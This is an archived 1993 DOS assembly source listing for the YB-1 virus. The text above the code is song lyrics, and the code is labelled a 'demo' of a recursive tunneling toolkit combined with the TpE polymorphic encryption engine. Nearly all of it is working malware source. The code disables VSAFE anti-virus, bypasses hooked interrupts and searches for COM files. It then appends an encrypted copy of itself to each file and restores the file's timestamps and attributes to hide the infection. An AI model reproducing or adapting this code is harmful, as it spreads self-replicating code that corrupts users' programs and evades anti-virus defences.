home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CRYPT18.ZIP / YB-1.ASM < prev    next >
Assembly Source File  |  1993-09-11  |  16KB  |  442 lines

  1. comment #  
  2.  
  3.   PRE-IGNITION
  4.   Hey you...
  5.   Tell me, what's your call name
  6.   Closed, negative display
  7.   Engaged on section three
  8.   The acrid factories
  9.   You...
  10.   Putrid perfect product
  11.   Proper platinum parts
  12.   Proficient prototypes
  13.   Steadily spew from these pipes
  14.   Are you...
  15.   The prime automaton
  16.   Christened as YB-1
  17.   Hey you...
  18.   Generated by waste
  19.   Arid quarry displaced
  20.   Enviro-mental squeeze
  21.   Aluminum disease
  22.   You...
  23.   Conscious of origin
  24.   Intention in the wind
  25.   Atmosphere infected
  26.   Descendants defected
  27.   Are you...
  28.   Novel stroke of design
  29.   Or relics from this mine
  30.   Casually, choke,
  31.   Noxious nourishment
  32.   Embodied, illicit cure
  33.   Ground and rock and sand
  34.   Come crumble tumble down
  35.   Grinding round
  36.   The hydraulic wheel
  37.   Extraction,
  38.   For ultimate greed
  39.   Now... hidden from view
  40.   Surveying stable shifts
  41.   A feeble groove
  42.   Unintentional split
  43.   Then they return to work
  44.   As if they're not disturbed
  45.   Cybernetic beings
  46.   Omniscient regiment
  47.   Thriving with vigor
  48.   Incessant loop
  49.   An assumed order
  50.   Auspicious tool
  51.   Frantically, flow
  52.   Spumous sediment
  53.   Remedied, neurotic fuse
  54.   Ground and rock and sand
  55.   Come crumble tumble down
  56.   Yonder sound, an echoing gong
  57.   Disjunction
  58.   Of their disowned song
  59.   Now... some are set free
  60.   Emotions flood their gaze
  61.   Synthetic breed
  62.   The pre-ignition phase
  63.   Pre-ignition
  64.   Flares up in you
  65.   Pre-ignition
  66.   Provokes me too.
  67.  
  68. #
  69.  
  70. ;**********************************************************************
  71. ; YB-1.ASM  
  72. ; AUTHOR:  Köhntark
  73. ;
  74. ; Demonstration Virus for Köhntark's Recursive Tunneling Toolkit 4.1
  75. ; Demonstrates how to use KRTT 4.1 in conjunction with TpE 1.3.
  76. ; Please note that this is another 'unremarkable' computer virus.
  77. ; It is just a demo.
  78. ;**********************************************************************
  79.  
  80. extrn rnd_init:near       ;TpE
  81. extrn crypt:near          ;TpE
  82. extrn tunnel:near         ;KRTT 4.1
  83.  
  84. MAIN    SEGMENT BYTE
  85.         ASSUME cs:main,ds:main,ss:nothing      ;all part in one segment=com file
  86.         ORG    100h
  87.  
  88. ;**********************************
  89. ;  fake host program
  90. ;**********************************
  91.  
  92. HOST:
  93.         db    0E9h,0Ah,00          ;jmp    NEAR PTR VIRUS
  94.         db     ' '
  95.         db     090h,090h,090h
  96.         mov    ah,4CH
  97.         mov    al,0
  98.         int    21H                 ;terminate normally with dos
  99.  
  100. ;═════════════════════════════════════════════════════════════════════════════
  101.  
  102. ;**********************************
  103. ; VIRUS CODE STARTS HERE
  104. ;**********************************
  105.  
  106.  
  107. VIRUS:                                  ;a label for the first byte of the virus
  108.  
  109.             call GET_ENTRY_PT           ;when call is performed absolute address goes to stack
  110.                             
  111. GET_ENTRY_PT:
  112.             pop  si
  113.             sub  si,GET_ENTRY_PT - VIRUS  ;fix absolute address
  114.  
  115. ;************************************           
  116. ; restore 4 original bytes to file
  117. ;************************************
  118.            
  119.            push si                                ;save si
  120.            cld                                    ;clear direction flag
  121.            add  si,START_CODE-VIRUS
  122.            mov  di,0100h
  123.            movsw                                  ;this is shorter & faster than 
  124.            movsw                                  ;mov cx,04 and rep movsb
  125.            pop  si                                ;restore si
  126.  
  127. ;************************************
  128. ; REMOVE CPAV-MSAV VSAFE FROM MEMORY
  129. ; (if present)
  130. ;************************************
  131.  
  132.             mov  dx,5945h
  133.             mov  ax,0FA01h    ;AL=01 very important!
  134.             int  21h
  135.  
  136. ;************************************           
  137. ; call KRTT 4.1
  138. ;************************************
  139.             
  140.             push es                ;save es
  141.             call TUNNEL            ;call KTTR 4.1
  142.             pop  es                ;restore es
  143.            
  144.             cmp  ah,01             ;int 21h found?
  145.             je   CONTINU           ;go on if so
  146.             cmp  ah,02             ;int 21h not hooked?
  147.             jne  EXIT_VIRUS2       ;exit if not
  148.  
  149. ;************************************           
  150. ; save INT 21h address if found
  151. ;************************************
  152.  
  153. CONTINU:           
  154.            mov  WORD PTR [si + INT_21 -VIRUS],di        ;int 21h offset    
  155.            mov  WORD PTR [si + INT_21 -VIRUS+2],dx      ;int 21h segment
  156.  
  157. ;************************************           
  158. ; CHECK INT 2Ah
  159. ;************************************
  160.  
  161. ; NOTE: INT 2A points to a IRET in all DOS versions. This interrupt is hooked
  162. ; by NETWARE & similar software so a check is made to see if such programs are
  163. ; present.
  164. ; A Russian resident monitoring program hooks this vector as it it called
  165. ; from within DOS's INT 21h in all file openings. (INT 21h, AH=3D)
  166. ; Restoring the original INT 2A defeats effectively such program.
  167.  
  168.             
  169.             mov  bp,01             ;search for INT 2A
  170.             push es                ;save es
  171.             call TUNNEL            ;call KTTR 4.1
  172.             pop  es                ;restore es
  173.            
  174.             cmp  ah,02             ;int 2Ah not hooked?
  175.             je   INT_2A_OK         ;proceed
  176.  
  177.             cmp  ah,01              ;int 2ah found?
  178.             je   CHECK_INT_2A       ;exit if not
  179.             jmp  short EXIT_VIRUS2
  180.  
  181. CHECK_INT_2A:
  182.               xor  ax,ax
  183.               int  2Ah           ;check for Netware, etc.
  184.               cmp  ax,00
  185.               jne  EXIT_VIRUS2
  186.  
  187.               push es                              ;save es
  188.               xor  bx,bx                           ;bx=0
  189.               mov  es,bx                           ;es=0
  190.               cli                                  ;disable interrupts
  191.               mov  WORD PTR es:[4 * 2Ah],di        ;restore int 2A offset
  192.               mov  WORD PTR es:[4 * 2Ah + 2],dx    ;restore int 2A segment
  193.               sti                                  ;enable interrupts
  194.               pop  es                              ;restore es
  195.  
  196. INT_2A_OK:
  197.  
  198. ;************************************           
  199. ; redirect DTA onto virus code
  200. ;************************************
  201.            
  202.    lea  dx,[si+ DTA - VIRUS]              ;put DTA at the end of the virus for now
  203.    mov  ah,1ah                            ;set new DTA function
  204.    int  21h
  205.  
  206. ;************************************
  207. ; Routines called from here           
  208. ;************************************
  209.  
  210.            call FIND_FILE       ;get a com file to attack!
  211.  
  212. ;═════════════════════════════════════════════════════════════════════════════
  213.  
  214. EXIT_VIRUS:
  215.            
  216. ;************************************
  217. ; set old  DTA  address
  218. ;************************************
  219.  
  220.            mov ah,1ah
  221.            mov dx,80h            ;fix dta back to return control to
  222.            int 21h               ;host program
  223.  
  224. EXIT_VIRUS2:
  225.  
  226. ;****************************************************************
  227. ; zero out registers for return to
  228. ; host program
  229. ;****************************************************************
  230.  
  231.  mov  si,0100h     
  232.  xor  bx,bx        ;zero regs
  233.  xor  ax,ax
  234.  cwd
  235.  push si           ;save return address in stack
  236.  xor  si,si
  237.  xor  di,di
  238.  ret               ;back to com host
  239.  
  240. ;═════════════════════════════════════════════════════════════════════════════
  241.  
  242. FIND_FILE:
  243.                 
  244.                 lea  dx,[si + FILES_TO_INFECT - VIRUS] 
  245.                 mov  ah,4eh   ;do DOS search 1st function
  246.                 mov  cx,3fh   ;search for any file, with any attributes
  247.  
  248. NEXT_FILE:      int  21h
  249.                 jc   NO_MO               ;return if not zero
  250.                 call CHECK_N_INFECT_FILE ;check file if file found
  251.                 mov  ah,4fh              ;file no good..find next function
  252.                 jmp  NEXT_FILE           ;test next file for validity
  253.  
  254. NO_MO:
  255.                 ret
  256.  
  257. ;═════════════════════════════════════════════════════════════════════════════
  258. NO_GOOD:
  259.         
  260.         jmp GET_OUT
  261. ;----------------------------------------------------------------------------
  262.  
  263. CHECK_N_INFECT_FILE:
  264.  
  265. ;*********************************************
  266. ; 1-Set attributes
  267. ;*********************************************
  268.        
  269.        lea  dx,[si + DTA_File_Name - VIRUS]    ;dx = DTA filename ptr
  270.        xor  cx,cx                              ;clear attributes
  271.        mov  ax,4301h                           ;set file attributes to cx
  272.        pushf                                   ;save flags
  273.        call DWORD PTR [si + INT_21 - VIRUS]    ;call real int21h
  274.        jc   NO_MO                              ;error.. quit
  275.  
  276. ;*****************
  277. ; 2-OPEN FILE
  278. ;*****************
  279.  
  280.             mov  ax,3D02h                                ;r/w access to it
  281.             pushf                                        ;save flags
  282.             call DWORD PTR [si + INT_21 - VIRUS]         ;call real int21h
  283.             jc   NO_GOOD                                 ;error.. quit
  284.             xchg bx,ax                                   ;bx = file handle
  285.  
  286. ;********************
  287. ; 3-Read 1st 5 bytes
  288. ;********************
  289.             
  290.             mov  cx,5                                       ;read first 5 bytes of file
  291.             lea  dx,[si + START_CODE - VIRUS] ;store'em here
  292.             mov  ah,3Fh                                     ;DOS read function
  293.             pushf                                           ;save flags
  294.             call DWORD PTR [si + INT_21 - VIRUS]            ;call real int21h
  295.             jc   NO_GOOD                                    ;error? get next file
  296.  
  297. ;*********************
  298. ; 4-CHECK FILE
  299. ;*********************
  300.             
  301.             mov  ax,WORD PTR [si + DTA_File_SIZE - VIRUS] ;get file's size
  302.             add  ax,FINAL - VIRUS + 232d + 1640d + 100h   ;add virus size to it
  303.             jc   NO_GOOD                                  ;bigger then 64K:nogood
  304.             
  305.             cmp  WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
  306.             je   NO_GOOD                                 ;no? good
  307.  
  308.             cmp  BYTE PTR [si + START_CODE - VIRUS],0E9H ;compare 1st byte to near jmp
  309.             jne  INFECT                                  ;not a near jmp, file ok
  310.  
  311.             cmp  BYTE PTR [si + START_CODE+3 - VIRUS],20h  ;check for ' '
  312.             je   NO_GOOD                                   ;file ok .. infect
  313.  
  314. INFECT:
  315.  
  316. ;*********************        
  317. ; 5-set PTR @EOF
  318. ;*********************
  319.  
  320.         mov  ax,4202H
  321.         xor  cx,cx                            ;prepare to write virus on file
  322.         cwd                                   ;position file pointer,cx:dx = 0
  323.         pushf                                 ;save flags
  324.         call DWORD PTR [si + INT_21 - VIRUS]  ;call real int21h
  325.  
  326. ;*********************        
  327. ; 6-call TpE
  328. ;*********************
  329.          
  330.          mov bp,ax          ;starting offset of decryptor
  331.          add bp,0100h       ;fix bp
  332.          push  ds           ;save necessary registers
  333.          push  si
  334.          push  bx           ;save file handle
  335.          mov  ax,cs
  336.          add  ax,0500h
  337.          mov  es,ax         ;fix new es segment
  338.          call rnd_init      ;initialize random # gen
  339.          mov ax,00000110b   ;initialize TPE flags
  340.  
  341.                                        ;ds = cs
  342.    mov dx,si                           ;virus's starting address
  343.    mov cx,FINAL - VIRUS + 248d + 1640d ;size of code to be encrypted +  KTT's size + TPE's size
  344.    xor si,si                           ;distance between decryptor & code
  345.    call crypt                          ;call TpE
  346.  
  347. ;*********************        
  348. ; 7-Write Virus
  349. ;*********************
  350.          
  351.          pop  bx           ;restore bx=file handle
  352.                            ;cx=decryptor + code size + KRTT's  size + TPE's size
  353.                            ;write from ds:dx
  354.          mov  ah,40h
  355.          pop  si                                   ;restore necessary registers
  356.          pushf                                     ;save flags
  357.          call DWORD PTR cs:[si + INT_21 - VIRUS]   ;call real int21h, SEGMENT OVERRIDE NEEDED
  358.                                                    ;since ds does not equal cs yet
  359.          pop  ds
  360.          mov  ax,ds
  361.          mov  es,ax
  362.      
  363. ;*********************        
  364. ; 8-set PTR @BOF
  365. ;*********************
  366.         
  367.         mov  ax,4200h                         ;locate pointer at beginning of host
  368.         xor  cx,cx                           
  369.         cwd                                   ;position file pointer,cx:dx = 0
  370.         pushf                                 ;save flags
  371.         call DWORD PTR [si + INT_21 - VIRUS]  ;call real int21h
  372.  
  373. ;******************************************
  374. ; 9-write new 4 bytes to beginning of file
  375. ;******************************************
  376.         
  377.         mov  ax,WORD PTR [si + DTA_File_SIZE - VIRUS]  
  378.         sub  ax,3
  379.         mov  WORD PTR [si + START_IMAGE+1 - VIRUS],ax
  380.         
  381.         mov  cx,4                                 ;#of bytes to write
  382.         lea  dx,[si+ START_IMAGE - VIRUS]         ;ds:dx=pointer of data to write
  383.         mov  ah,40h                               ;DOS write function
  384.         pushf                                     ;save flags
  385.         call DWORD PTR [si + INT_21 - VIRUS]      ;call real int21h
  386.  
  387. ;*************************************************        
  388. ; 10-Restore date and time of file to be infected
  389. ;*************************************************
  390.  
  391.         mov  ax,5701h
  392.         mov  dx,WORD PTR [si + DTA_File_DATE - VIRUS]
  393.         mov  cx,WORD PTR [si + DTA_File_TIME - VIRUS]
  394.         pushf                                        ;save flags
  395.         call DWORD PTR [si + INT_21 - VIRUS]         ;call real int21h
  396.  
  397. ;****************        
  398. ; 11-Close File 
  399. ;****************
  400.  
  401. GET_OUT:
  402.         
  403.         mov  ah,3Eh
  404.         pushf                                        ;save flags
  405.         call DWORD PTR [si + INT_21 - VIRUS]         ;call real int21h
  406.  
  407. ;*************************************************        
  408. ; 12-Restore file's attributes
  409. ;*************************************************
  410.  
  411.        lea dx,[si + DTA_File_Name - VIRUS]              ;get filename
  412.        xor cx,cx
  413.        mov cl,BYTE PTR [si + DTA_File_ATTR - VIRUS]     ;get old attributes
  414.        mov ax,4301h                                     ;set file attributes to cx
  415.        pushf                                            ;save flags
  416.        call DWORD PTR [si + INT_21 - VIRUS]             ;call real int21h
  417.        ret                                              ;infection done!
  418.  
  419. ;═════════════════════════════════════════════════════════════════════════════
  420.  
  421. NAME_AUTHOR     db  'YB-1 / Köhntark'
  422. FILES_TO_INFECT db  '*.COM',0 
  423. START_CODE      db  090h,090h,090h,090h,090h  ;area to store 5 bytes to w/r from / to file
  424. START_IMAGE     db  0E9h,0,0,020h
  425.  
  426. INT_21          dd  0                  ;REAL INT 21h's address
  427.  
  428. DTA             db 21 dup(0)  ;reserved
  429. DTA_File_Attr   db ?
  430. DTA_File_Time   dw ?
  431. DTA_File_Date   dw ?
  432. DTA_File_Size   dd ?
  433. DTA_File_Name   db 13 dup(0)
  434.  
  435. ;═════════════════════════════════════════════════════════════════════════════
  436.  
  437. FINAL:                ;label of byte of code to be kept in virus when it moves
  438.  
  439. MAIN ENDS
  440.      END    HOST
  441.  
  442.